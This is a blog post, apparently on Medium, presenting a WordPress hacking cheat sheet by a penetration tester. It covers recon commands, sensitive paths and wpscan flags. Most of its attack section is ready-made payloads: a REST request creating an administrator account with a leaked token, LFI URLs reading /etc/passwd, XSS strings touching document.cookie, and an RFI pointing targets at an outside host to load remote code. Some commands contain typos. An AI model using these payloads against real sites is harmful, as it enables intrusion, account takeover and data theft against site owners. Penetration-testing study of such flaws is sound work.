Sitemap
Mohammed Hassan

Mohammed Hassan

Cyber Security Engineer, interested in Penetration Testing

Hacking WordPress

2 min readSep 5, 2025

--

WordPress is a free, open-source content management system (CMS) that allows you to build and manage websites without needing deep technical knowledge

Press enter or click to view image in full size

How To Know The CMS

  • use an extension called Wapalyzer
  • if the wapalyzer can`t determine the cms or its version we use a command:
curl -s -X GET domain | grep '<meta name=generator>'

Popular routes in WordPress

- index.php
- license.txt
- readme.html
- wp-activate.php
- wp-blog-header.php
- wp-comments-post.php
- wp-config.php
- wp-config-sample.php
- wp-corn.php
- wp-includes
- wp-links-opml.php
- wp-load.php
- wp-login.php
- wp-mail.php
- wp-settings.php
- wp-signup.php
- wp-trackback.php
- xmlrpc.php
- /wp-json/wp/v2/users
- /wp-json/?rest_route=/wp/v2/users/
- /wp-json/?rest_route=/wp/v2/users/n
- /index.php?rest_route=/wp-json/wp/v2/users
- /index.php?rest_route=/wp/v2/users
- /author-sitemap.xml
- /wp-content/debug.log
- /wp-login.php?action=register
- /wp-admin/login.php
- /wp-admin/wp-login.php
- /login.php
- /wp-login.php
- /wp-config.php
- /wp-admin/login.php
- /wp-admin/wp-login.php
- /login.php
- /wp-login.php
- uploads/
- UPLOADS/
- uPLoaDs/
-plugins/mail-masta/inc/compaign/count_of_send.php?pl=/etc/passwd
-themes

Automate The Attack

  • First download a tool called wpscan from github
  • wpscan is an open-source security scanner specifically designed for WordPress websites.
wpscan —url domian —disable-tlts-checks —api-token(bring it from wpscan website) -e at -e u —enumerate ap aggressive —force
  • we need to know the plugins of wordpress to find vulns in them:
curl -s -X GET domain | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*'
| cut -d"'" -f2
  • to get the themes:
curl -s -X GET domian | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes'
| cut -d"'" -f2

Tips And Tricks

  • You can find registration is not enabled but you can try to add user but first you need to try to find authorization token can be leaked inside JavaScript files , once you got it you can easily create new user with admin privileges
POST /wp-json/wp/v2/users
Authorization Bearer
<search_for_authorization_in_javascript_files>
{ "username": "username",
"email" : "mail@mail.com",
"password":"password",
"roles":["administrator"] }
  1. plugin called simple-image-manipulator vulnerable to LFI

Get Mohammed Hassan’s stories in your inbox

Join Medium for free to get updates from this writer.

/wp-content/plugins/./simple-imagemanipulator/controller/download.php?filepath=/etc/passwd

2. plugin called activehelper-livehelp vulnerable to XSS

/wp-content/plugins/activehelperlivehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2
Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&D
OMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=CO
MPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=E
MAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAM
E=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&

3. plugin called amministrazione-aperta vulnerable to LFI

/wp-content/plugins/amministrazioneaperta/wpgov/dispatcher.php?open=../../../../../../../../../../
etc/passwd

4. plugin called anti-plagiarism vulnerable to XSS

/wp-content/plugins/antiplagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.
domain%29%3C%2Fscript%3E

5. Plugin called buddypress-component vulnerable to LFI

/wp-content/plugins/buddypress-componentstats/lib/dompdf/dompdf.php?input_file=php://filter?resource=/e
tc/passwd

6. Plugin called dzs-videogallery vulnerable to file upload can can lead to RCE

/wp-content/plugins/dzsvideogallery/admin/upload.php

7. plugin called e-search vulnerable to XSS

/wp-content/plugins/esearch/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3
Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

8. Plugin called localize-my-post vulnerable to LFI

/wp-content/plugins/localize-mypost/ajax/include.php?file=../../../../../../../../
../../etc/passwd

9. plugin called canto vulnerable to RFI and RCE

/wpcontent/plugins/canto/includes/lib/download.php?wp_
abspath=http://192.168.1.33:8080

10. plugin called dzs-zoomsounds vulnerable to LFI

 /MYzoomsounds/?action=dzsap_download&link=../../../
../../../../../../../etc/passwd
  • XSS via Wordpress
http://localhost/wordpress/?page=pieregister&show_dash_widget=1&invitaion_code=PHNjcmlw
dD5hbGVydCgxKTwvc2NyaXB0Pg==

--

--

Mohammed Hassan
Mohammed Hassan

Cyber Security Engineer, interested in Penetration Testing